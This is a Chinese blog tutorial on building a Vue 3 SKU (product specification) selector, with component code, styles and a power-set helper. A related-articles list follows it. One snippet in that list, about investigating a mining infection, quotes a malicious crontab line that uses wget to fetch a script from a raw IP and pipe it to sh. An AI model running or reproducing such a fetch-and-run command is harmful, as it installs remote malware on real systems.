vue中SKU实现
通过发送请求获取商品详情数据,包括商品规格(specs)和库存信息(skus)。
选中状态更新:根据当前状态进行激活或取消激活的逻辑,通过为每个规格项添加的“selected”字段来标识是否激活,同时利用样式处理,通过动态类属性来直观地显示选中状态。
禁用状态更新:基于库存情况来确定规格是否禁用,通过生成有效路径字典来简化匹配过程。具体步骤包括获取有效 Sku 数组、生成子集以及构建路径字典对象。
初始化规格禁用:通过遍历规格对象,利用“name”字段与路径字典进行匹配来确定是否禁用,并通过增加“disabled”字段和动态类名来实现显示上的禁用效果。
点击时组合禁用更新:当用户点击规格时,通过特定步骤获取选中项数组并进行匹配来更新禁用状态。
产出有效 SKU 信息:以已选择项数组中不存在“undefined”来判断用户已选择所有有效规格,然后通过拼接已选数组为路径字典的键来获取相应的 SKU 信息对象。
vue
<script setup>
import { onMounted, ref } from "vue";
import axios from "axios";
// 导入幂级算法
import bwPowerSet from "./bwPowerSet";// 存储用于在页面中展示的规格数据
const specs = ref([]);
// 创建 UI 状态 (选中、禁用)
const UIState = ref([]);// 声明规格查询字典
let pathMap = {};//获取商品详情数据
function requestGoodsApi(id) {return axios.get("https://apipc-xiaotuxian-front.itheima.net/goods", {params: { id },});
}// 根据规格数据创建其对应的界面状态
function createUIStatus(specs) {// UI 状态数组const UIStatus = [];// 遍历源规格分组specs.forEach((spec) => {// 创建规格分组const group = [];// 遍历具体的规格选项spec.values.forEach(() => {// 设置每一个规格选项的选中状态和禁用状态(初始值)group.push({ selected: false, disabled: false });});// 将规格组对象添加到拷贝结果数组中UIStatus.push(group);});// 返回 UI 状态数组return UIStatus;}// 设置规格的选中状态
function setSelected(index, i) {// 获取当前用户点击的规格const current = UIState.value[index][i];// 获取当前用户点击的规格对应的规格组const group = UIState.value[index]; // 如果当前规格已经是禁用状态, 不能被选择, 所以阻止代码继续执行if (current.disabled) return;// 如果用户点击的规格已经是选中的if (current.selected) {// 让其取消选中current.selected = false;} else {// 先将该规格中的所有规格取消选中group.forEach((item) => (item.selected = false));// 将当前用户点击的规格设置为选中current.selected = true;}// 用户选择规格后更新规格的禁用状态setDisabled();
}// 设置规格的禁用状态
function setDisabled() {// 遍历每一组规格数据specs.value.forEach((spec, index) => {// 获取用户选择的规格名称数组const selected = getUserSelected();// 遍历这一组规格数据中的具体规格spec.values.forEach((value, i) => {// 如果当前规格已经被选中了, 说明它可以选, 不需要被禁用if (UIState.value[index][i].selected) return;// 将当前规格名称放入用户选择的规格数组名称中, 待匹配selected[index] = value.name;// 检测当前规格是否可以选择const key = selected.filter((name) => name).join("_");// 如不能选择, 设置当前规格的 disabled 为 trueUIState.value[index][i].disabled = !(key in pathMap);});});
}// 获取用户选择的规格名称数组
function getUserSelected() {// 声明用于存储用户选择的规格名称数组const names = [];// 遍历规格组specs.value.forEach((spec, index) => {// 查找当前规格组中被选中的规格的索引const selectedIndex = UIState.value[index].findIndex((item) => item.selected);// 如果找到了if (selectedIndex !== -1) {// 将该规格放在它自己的位置上names[index] = spec.values[selectedIndex].name;} else {// 如果没有找到, 当前规格使用 undefined 进行占位names[index] = undefined;}//获取到选中的规格console.log(names);});// 返回用户选择的规格名称数组return names;}// 创建规格查询字典
function createPathMap(skus) {// 过滤出有库存的商品规格组合skus.filter((sku) => sku.inventory > 0)// 遍历有库存的商品规格组合.forEach((sku) => {// 将当前遍历的规格组合中的规格名称临时存到一个数组中// ['蓝色', '20cm', '中国']const valueNames = sku.specs.map((spec) => spec.valueName);// 获取用户可以选择的所有可能的规格及规格组合// ['蓝色', '20cm']// [['蓝色'], ['20cm'], ['蓝色', '20cm']]const sets = bwPowerSet(valueNames).filter((set) => set.length > 0);// 获取当前商品的规格数量, 将用于判断某个规格是否是完整的const max = valueNames.length;// 遍历用户可以选择的所有可能的规格及规格组合sets.forEach((set) => {// 将规格名称以 _ 进行拼接const key = set.join("_");// 用于判断当前规格是否是完整的const isCompleted = set.length === max;// 判断规格查询对象中是否已经存储了当前规格if (!(key in pathMap)) {// 如果当前规格是完整的if (isCompleted) {// 将当前规格或规格组合添加到规格查询对象中并赋值 sku idpathMap[key] = sku.id;} else {// 将当前规格或规格组合添加到规格查询对象中pathMap[key] = null;}}});});return pathMap;}// 组件挂载完成之后
onMounted(async () => {// 获取商品详情数据const response = await requestGoodsApi("1369155859933827074");// 保存规格数据specs.value = response.data.result.specs;// 为规则数据附加 UI 状态UIState.value = createUIStatus(specs.value);// 创建规格查询对象pathMap = createPathMap(response.data.result.skus);// 设置规格的初始禁用效果setDisabled();
});
</script><template><div class="goods-sku"><dl v-for="(spec, index) in specs" :key="spec.id"><dt>{{ spec.name }}</dt><dd><template v-for="(item, i) in spec.values"><imgv-if="item.picture":class="{selected: UIState[index][i].selected,disabled: UIState[index][i].disabled,}"@click="setSelected(index, i)":src="item.picture":alt="item.name"/><spanv-else:class="{selected: UIState[index][i].selected,disabled: UIState[index][i].disabled,}"@click="setSelected(index, i)">{{ item.name }}</span></template></dd></dl></div>
</template><style scoped>
.goods-sku {padding-left: 10px;padding-top: 20px;
}.goods-sku dl {display: flex;align-items: center;
}.goods-sku dl dt {width: 50px;color: #999;
}.goods-sku dl dd {flex: 1;color: #666;
}.goods-sku dl dd > img {width: 50px;height: 50px;border: 1px solid #e4e4e4;margin-right: 10px;cursor: pointer;display: block;float: left;
}.goods-sku dl dd > img.selected {border-color: #27ba9b;
}.goods-sku dl dd > img.disabled {opacity: 0.6;border-style: dashed;cursor: not-allowed;
}.goods-sku dl dd > span {display: inline-block;height: 30px;line-height: 28px;padding: 0 20px;border: 1px solid #e4e4e4;margin-right: 10px;cursor: pointer;
}.goods-sku dl dd > span.selected {border-color: #27ba9b;
}.goods-sku dl dd > span.disabled {opacity: 0.6;border-style: dashed;cursor: not-allowed;
}
</style>
bowPowerSet.js
export default function bwPowerSet(originalSet) {// 初始化一个空数组用于存储子集const subSets = [];// 计算原始集合的元素个数const numberOfCombinations = 2 ** originalSet.length;// 循环生成所有可能的组合for (let combinationIndex = 0;combinationIndex < numberOfCombinations;combinationIndex += 1) {// 初始化一个空数组用于存储当前组合的子集const subSet = [];// 遍历原始集合的每个元素for (let setElementIndex = 0;setElementIndex < originalSet.length;setElementIndex += 1) {// 检查当前元素是否在当前组合中if (combinationIndex & (1 << setElementIndex)) {// 如果是,则将该元素添加到子集中subSet.push(originalSet[setElementIndex]);}}// 将当前子集添加到子集数组中subSets.push(subSet);}// 返回所有生成的子集return subSets;
}
相关文章:
vue中SKU实现
通过发送请求获取商品详情数据,包括商品规格(specs)和库存信息(skus)。 选中状态更新:根据当前状态进行激活或取消激活的逻辑,通过为每个规格项添加的“selected”字段来标识是否激活,同时利用样式处理,通过动态类属性…...
闭眼推荐的,新手教师工具
亲爱的老师们,尤其是那些刚踏入教育界的新手教师们,还在为如何高效管理课堂、如何制作精美的教学材料而头疼吗?让我来分享几款教育界口碑爆棚的工具。 易查分小程序 易查分是一款超级方便的成绩查询工具,一分钟就能上传成绩并生成…...
charles抓包工具之---添加vConsole
Charles Rewrite重写(详解!必懂系列)-CSDN博客 chales 重写/断点/映射/手机代理/其他主机代理_charles 批量映射-CSDN博客 在 Charles 上添加 rewrite 规则,以便在响应的 <head> 部分添加 vConsole,可以按照以下步骤操作:…...
Java多线程-初阶1
博主主页: 码农派大星. 数据结构专栏:Java数据结构 数据库专栏:MySQL数据库 JavaEE专栏:JavaEE 关注博主带你了解更多数据结构知识 1. 认识线程(Thread) 1.线程是什么 ⼀个线程就是⼀个 "执⾏流". 每个线程之间都可以按照顺序执⾏⾃⼰的代…...
C++二级指针的指向与解引用
本文算是作者对于二级指针学习的一些总结或者说是刨根问底,如果有表述错误,还请各位大神指正。 我们首先定义一个整型a,令a 5,再分别定义指针p和二级指针ptr int a 5; int *p &a; int **ptr &p;我们不妨假设a的地址是…...
Pandas处理时间差的4种表达方式
在Pandas中处理时间差(timedelta)时,有多种方式可以表达时间差。以下是总结的Pandas时间差的四种主要表达方式和相关信息: 目录 一、使用pd.Timedelta直接创建 二、使用DataFrame中计算时间差 三、转换为分钟数表示 四、使用…...
C语言---指针part2
指针操作 一维 字符数组 1. 字符型数组 --- 存放字符串的 char s[] "hello"; [h ] <---0x1000 [e ] [l ] [l ] [o ] [\0] //谁能这块空间的地址 --- 数组名 s --->怎么能保存s所代表的地址值 //s数组名 --- 数组首元素的地址 &s[0] --->地…...
DNS域名
DNS域名 DNS是域名系统的简称 域名和ip地址之间的映射关系 互联网中,ip地址是通信的唯一标识 访问网站,域名,ip地址不好记,域名朗朗上口,好记。 域名解析的目的就是为了实现,访问域名就等于访问ip地址…...
19 - 查询结果的质量和占比(高频 SQL 50 题基础版)
19 - 查询结果的质量和占比 -- round(avg(rating<3)*100,2)round(avg(if(rating<3,1,0))*100,2) select query_name,round(avg(rating/position),2) quality,round(avg(if(rating<3,1,0))*100,2) poor_query_percentage fromQueries group byquery_name;...
一次挖矿病毒的排查过程
目录 一、查看定时任务二、处理方法 一、查看定时任务 # crontab -l * * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1 0 */1 * * * /usr/local/nginx/sbin/nginx -s reload发现异常任务: * * * * * wget -q -O - http://1…...
【JMeter接口测试工具】第二节.JMeter基本功能介绍(上)【入门篇】
文章目录 前言一、获取所有学院信息接口执行二、线程组的介绍 2.1 并发和顺序执行 2.2 优先和最后执行线程组 2.3 线程组的设置细节三、HTTP请求的介绍四、查看结果树的配置使用总结 前言 一、获取所有学院信息接口执行 我们先针对一条简单的接口进行执行&#…...
ultralytics solutions快速解决方案,快速实现某些场景的图像解决方案
参考: https://docs.ultralytics.com/solutions/ 在不断更新,已经有一些场景的解决方案 ultralytics 8.2.27 一、区域统计 1、自定义区域统计数量 https://docs.ultralytics.com/guides/region-counting/ 1、自定义画框,比如矩形框四个点的坐标获取 通过cv2点击图片获…...
iphone突然黑屏?3种方法解决问题!
iphone突然黑屏这应该是出现了iOS系统故障。一般来说,无摔落、浸水等情况造成设备出现硬件问题,多半是设备出现了系统故障。 虽然苹果iOS系统性能是较优的,但还是可能因各种使用情况出现不一样的iOS系统问题,包括升级、越狱、安装…...
nn.GRU和nn.GRUCell区别
nn.GRU和nn.GRUCell在PyTorch中都是用于实现门控循环单元(Gated Recurrent Unit, GRU)的模块,但它们之间存在一些区别: 输入维度: nn.GRU是一个完整的GRU层,它接受一个3D输入张量(batch_size, seq_length, input_size),输出也是一个3D张量(batch_size, seq_length, hidden_si…...
Coolmuster Android助手评测:简化Android到电脑的联系人传输
产品概述 Coolmuster Android助手是一款旨在简化Android设备与计算机之间数据管理和传输过程的全面工具。它以用户友好的界面和全面的功能,成为寻求高效数据管理解决方案的Android用户的热门选择。 主要特点和功能Coolmuster Android助手拥有一系列使其成为管理Andr…...
【杂记-webshell恶意脚本木马】
一、webshell概述及分类 概述 webshell,通常作为web应用管理工具,运维人员可以通过 webshell (服务器管理工具)针对 web 服务器进行日常的运维管理以及系统上线更新等,攻击者也可以通过 webshell (后门程序…...
锻炼 精读笔记 01
元数据 [!abstract] 锻炼 书名: 锻炼作者: 丹尼尔利伯曼简介: 我们是为休息而生,还是为跑而生? 跑步会毁了你的膝盖吗? 哪种运动项目蕞适合我? 懒惰是不正常的行为吗? 每晚都需要睡够 8 个小时…...
基于pytorch的车牌识别
🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 一、导入数据 from torchvision.transforms import transforms from torch.utils.data import DataLoader from torchvision import datase…...
红酒:如何避免红酒过度氧化
红酒过度氧化是影响其品质的重要因素,尤其是在储存和运输过程中。过度氧化的红酒会失去原有的果香和口感,变得平淡无味。因此,避免红酒过度氧化至关重要。以下是一些进一步的措施,可以帮助您保护云仓酒庄雷盛红酒的品质࿱…...
FreeRTOS学习笔记-基于stm32(9)信号量总结(二值信号量、计数型信号量、互斥信号量、优先级翻转、优先级继承)
一、什么是信号量 信号量是一种队列,用于任务间同步和资源管理的机制,主要用来传递状态。就像是一种特殊的“旗子”或“钥匙”,用来在不同的任务之间进行沟通和协调,确保它们能够正确地配合工作,不会互相干扰。 二、二…...
颠覆式Alienware设备控制:500KB轻量工具实现10倍性能提升与个性化体验
颠覆式Alienware设备控制:500KB轻量工具实现10倍性能提升与个性化体验 【免费下载链接】alienfx-tools Alienware systems lights, fans, and power control tools and apps 项目地址: https://gitcode.com/gh_mirrors/al/alienfx-tools 当你启动Alienware电…...
AI转PSD终极指南:如何将Illustrator矢量完美导入Photoshop
AI转PSD终极指南:如何将Illustrator矢量完美导入Photoshop 【免费下载链接】ai-to-psd A script for prepare export of vector objects from Adobe Illustrator to Photoshop 项目地址: https://gitcode.com/gh_mirrors/ai/ai-to-psd 还在为设计软件之间的格…...
Pixel Couplet Gen实战案例:基于Retro Game UI的微信小程序春联H5页
Pixel Couplet Gen实战案例:基于Retro Game UI的微信小程序春联H5页 1. 项目背景与设计理念 1.1 传统与数字的碰撞 春节作为中国最重要的传统节日,春联文化已有千年历史。然而在数字时代,传统春联形式面临着与年轻群体脱节的问题。Pixel C…...
从系统编程到 JavaScript/TypeScript
然而,在通往 AGI(通用人工智能)的道路上,一个反直觉的现象正在发生。如果你拆解当下最热门的 AI 项目,你会惊讶地发现:TypeScript 和 JavaScript 正在成为 AI 应用层的“官方语言”。OpenClaw (ClawdBot): …...
零代码打造植物养护助手:Android Sunflower的Jetpack Compose实践指南
零代码打造植物养护助手:Android Sunflower的Jetpack Compose实践指南 【免费下载链接】sunflower A gardening app illustrating Android development best practices with migrating a View-based app to Jetpack Compose. 项目地址: https://gitcode.com/gh_mi…...
忍者像素绘卷惊艳作品:使用‘火之意志’隐式提示词触发的系列像素艺术
忍者像素绘卷惊艳作品:使用火之意志隐式提示词触发的系列像素艺术 1. 像素艺术新纪元:忍者绘卷的视觉革命 忍者像素绘卷是一款基于Z-Image-Turbo深度优化的图像生成工作站,它将传统忍者文化与16-Bit复古游戏美学完美融合,创造出…...
3个突破性方法让你永久掌控数字阅读自由
3个突破性方法让你永久掌控数字阅读自由 【免费下载链接】fanqienovel-downloader 下载番茄小说 项目地址: https://gitcode.com/gh_mirrors/fa/fanqienovel-downloader 你是否曾经历过这样的窘境:在通勤途中想继续阅读昨晚未看完的小说,却发现网…...
快马AI助力:十分钟用开yun技术栈搭建微服务电商原型
最近尝试用开yun技术栈快速搭建微服务电商原型,发现结合InsCode(快马)平台的AI辅助功能,整个过程比想象中顺畅很多。记录下这个十分钟搭建原型的实践过程,特别适合需要快速验证想法的场景。 技术选型思路 开yun技术栈作为云原生领域的热门选…...
Cyber Engine Tweaks:解决《赛博朋克2077》性能瓶颈与脚本扩展的技术方案
Cyber Engine Tweaks:解决《赛博朋克2077》性能瓶颈与脚本扩展的技术方案 【免费下载链接】CyberEngineTweaks Cyberpunk 2077 tweaks, hacks and scripting framework 项目地址: https://gitcode.com/gh_mirrors/cy/CyberEngineTweaks Cyber Engine Tweaks …...
4月3日(Claude Code深度解读)
Claude Code源码解读从雇佣一个程序员角度看实际上的他用户输入→ 动态组装 7 层系统提示词→ 注入 Git 状态、项目约定、历史记忆→ 42 个工具各自附带使用手册→ LLM 决定使用哪个工具→ 9 层安全审查(AST 解析、ML 分类器、沙箱检查...)→ 权限竞争解…...
